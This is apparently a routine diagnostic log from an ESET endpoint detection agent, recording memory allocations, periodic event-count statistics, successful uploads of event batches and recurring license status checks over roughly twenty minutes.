2026-03-04 13:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2770 KB; ModuleMetadata: 1900 KB; BaseEvent: 715 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 306 KB; rules::ProcessConditionsCache: 293 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 189 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 131144 KB;
2026-03-04 13:28:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:23:53, To:, 2026-03-04 13:28:01, Duration (s):, 248, Events Per Second:, 16.554, Events:, 4110, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3400, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457007
2026-03-04 13:28:02 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s353ms.
2026-03-04 13:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:28:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:28:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:28:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:28:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1900 KB; ProcessInfo: 1620 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 306 KB; rules::ProcessConditionsCache: 283 KB; CacheEntry: 280 KB; BaseEvent: 156 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129282 KB;
2026-03-04 13:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 1981 KB; ModuleMetadata: 1900 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; BaseEvent: 336 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; rules::ProcessConditionsCache: 274 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 87 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129844 KB;
2026-03-04 13:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2352 KB; ModuleMetadata: 1900 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; BaseEvent: 515 KB; ModuleInfoCache: 306 KB; rules::ProcessConditionsCache: 282 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 135 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130454 KB;
2026-03-04 13:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2714 KB; ModuleMetadata: 1900 KB; BaseEvent: 694 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; rules::ProcessConditionsCache: 268 KB; BatchSerializer::EventsQueueTag: 181 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 131030 KB;
2026-03-04 13:32:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:28:00, To:, 2026-03-04 13:32:13, Duration (s):, 253, Events Per Second:, 16.244, Events:, 4117, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3392, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 722, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458965
2026-03-04 13:32:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s388ms.
2026-03-04 13:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1900 KB; ProcessInfo: 1577 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; rules::ProcessConditionsCache: 311 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BaseEvent: 130 KB; BatchSerializer::EventsQueueTag: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 129248 KB;
2026-03-04 13:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:33:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:33:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:33:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:33:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 1949 KB; ModuleMetadata: 1900 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 315 KB; ModuleInfoCache: 306 KB; rules::ProcessConditionsCache: 299 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 83 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129833 KB;
2026-03-04 13:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2311 KB; ModuleMetadata: 1900 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; BaseEvent: 497 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; rules::ProcessConditionsCache: 279 KB; BatchSerializer::EventsQueueTag: 131 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130408 KB;
2026-03-04 13:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2674 KB; ModuleMetadata: 1900 KB; BaseEvent: 675 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; rules::ProcessConditionsCache: 258 KB; BatchSerializer::EventsQueueTag: 177 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130982 KB;
2026-03-04 13:36:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:32:13, To:, 2026-03-04 13:36:17, Duration (s):, 244, Events Per Second:, 16.824, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3397, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 714, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456928
2026-03-04 13:36:18 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s351ms.
2026-03-04 13:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1900 KB; ProcessInfo: 1537 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; rules::ProcessConditionsCache: 245 KB; cloudutils::CloudData: 130 KB; BaseEvent: 115 KB; BatchSerializer::EventsQueueTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129099 KB;
2026-03-04 13:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1900 KB; ProcessInfo: 1897 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 306 KB; BaseEvent: 288 KB; CacheEntry: 280 KB; rules::ProcessConditionsCache: 223 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129654 KB;
2026-03-04 13:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:38:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:38:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:38:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:38:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2303 KB; ModuleMetadata: 1903 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; BaseEvent: 470 KB; ModuleInfoCache: 307 KB; rules::ProcessConditionsCache: 292 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 125 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 18 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130428 KB;
2026-03-04 13:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2753 KB; ModuleMetadata: 1903 KB; BaseEvent: 669 KB; TcpIpConnectionsManager: 606 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 307 KB; rules::ProcessConditionsCache: 289 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 182 KB; cloudutils::CloudData: 131 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 131166 KB;
2026-03-04 13:40:09 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:36:17, To:, 2026-03-04 13:40:09, Duration (s):, 232, Events Per Second:, 17.978, Events:, 4181, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3514, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 666, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 467252
2026-03-04 13:40:11 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s522ms.
2026-03-04 13:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1903 KB; ProcessInfo: 1703 KB; TcpIpConnectionsManager: 606 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; rules::ProcessConditionsCache: 234 KB; cloudutils::CloudData: 131 KB; BaseEvent: 130 KB; BatchSerializer::EventsQueueTag: 33 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129376 KB;
2026-03-04 13:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2073 KB; ModuleMetadata: 1903 KB; TcpIpConnectionsManager: 599 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; BaseEvent: 311 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; rules::ProcessConditionsCache: 233 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 81 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129974 KB;
2026-03-04 13:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2435 KB; ModuleMetadata: 1903 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; BaseEvent: 493 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; rules::ProcessConditionsCache: 213 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 130 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130498 KB;
2026-03-04 13:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:43:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:43:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:43:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:43:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2709 KB; ModuleMetadata: 1903 KB; BaseEvent: 615 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 162 KB; rules::ProcessConditionsCache: 139 KB; cloudutils::CloudData: 131 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 18 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 130815 KB;
2026-03-04 13:44:34 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:40:09, To:, 2026-03-04 13:44:34, Duration (s):, 265, Events Per Second:, 15.399, Events:, 4089, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3394, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 694, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454870
2026-03-04 13:44:36 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s359ms.
2026-03-04 13:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1903 KB; ProcessInfo: 1330 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 93 KB; BaseEvent: 66 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 17 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 128671 KB;
2026-03-04 13:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1903 KB; ProcessInfo: 1696 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BaseEvent: 248 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 83 KB; BatchSerializer::EventsQueueTag: 65 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129259 KB;
2026-03-04 13:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2072 KB; ModuleMetadata: 1903 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 445 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 116 KB; rules::ProcessConditionsCache: 116 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129968 KB;
2026-03-04 13:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2455 KB; ModuleMetadata: 1903 KB; BaseEvent: 628 KB; TcpIpConnectionsManager: 567 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 166 KB; rules::ProcessConditionsCache: 146 KB; cloudutils::CloudData: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130606 KB;
2026-03-04 13:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:48:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:44:34, To:, 2026-03-04 13:48:29, Duration (s):, 235, Events Per Second:, 17.260, Events:, 4068, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3328, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 23, Livegrid:, 23, OriginUrl:, 0, Alarms:, 693, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 451722
2026-03-04 13:48:31 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s364ms.
2026-03-04 13:48:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:48:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:48:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:48:43 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1903 KB; ProcessInfo: 1474 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 131 KB; BaseEvent: 71 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 18 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128916 KB;
2026-03-04 13:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1903 KB; ProcessInfo: 1812 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 535 KB; ModuleInfoCache: 307 KB; CacheEntry: 280 KB; BaseEvent: 239 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 92 KB; BatchSerializer::EventsQueueTag: 61 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129408 KB;
